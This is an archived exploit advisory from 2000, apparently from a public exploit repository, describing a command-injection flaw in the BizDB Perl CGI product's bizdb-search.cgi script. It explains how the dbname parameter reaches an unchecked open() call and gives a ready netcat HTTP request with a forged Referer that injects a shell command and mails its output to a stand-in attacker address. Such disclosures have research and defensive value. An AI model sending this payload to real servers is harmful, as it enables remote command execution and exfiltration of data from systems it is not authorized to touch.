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bizdb.htm

bizdb.htm
Posted Apr 19, 2000
Site hack.co.za

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, has an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver. Remote exploit included.

tags | exploit, remote, web, cgi, perl
SHA-256 | 0231145f36e7ae2640f0dc97b6b4306c0261fc240d851610ac7e3925a5697f20

bizdb.htm

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<html>
<body bgcolor="#000000" text="#CCCCCC">
<pre>BizDB is a web databse integration product
using perl CGI scripts. One of the scripts,
bizdb-search.cgi, passes a variable's
contents to an unchecked open() call and
can therefore be made to execute commands
at the privilege level of the webserver.

The variable is dbname, and if passed a
semicolon followed by shell commands they
will be executed. This cannot be exploited
from a browser, as the software checks for
a referrer field in the HTTP request. A
valid referrer field can however be created
and sent programmatically or via a network
utility like netcat.

Exploit:

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)


</pre>
</html>
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